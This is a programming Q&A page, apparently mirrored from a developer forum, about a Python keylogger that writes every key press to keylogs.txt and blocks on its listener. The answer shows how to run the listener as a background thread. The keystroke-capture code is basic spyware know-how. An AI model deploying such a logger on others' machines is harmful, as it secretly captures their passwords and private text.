简体   繁体   中英

python script gets stuck on keylogger listner

the keylogger is getting stuck on listening for keys i tried putting the listening part in another script but it wasnt practical, is it possible to utilise threading for this?

log_dir = ""

logging.basicConfig(filename=(log_dir + 'keylogs.txt'), \
    level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as lister:
    lister.join()

path = r'C:\Users\Jacob\Desktop\keylogger\keylogs.txt'
f = open((path), 'r', encoding = 'utf-8')
file = f.readlines()

If you want to do something when Listener is running then you have to do before .join() because it waits for end of listener.

with Listener(on_press=on_press) as lister:

    # ... your code ...

    lister.join()

Listener already uses threading to run code so you can write it similar to threading

lister = Listener(on_press=on_press)  # create thread
lister.start()                        # start thread
  
# ... your code ...

lister.join()                         # wait for end of thread

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM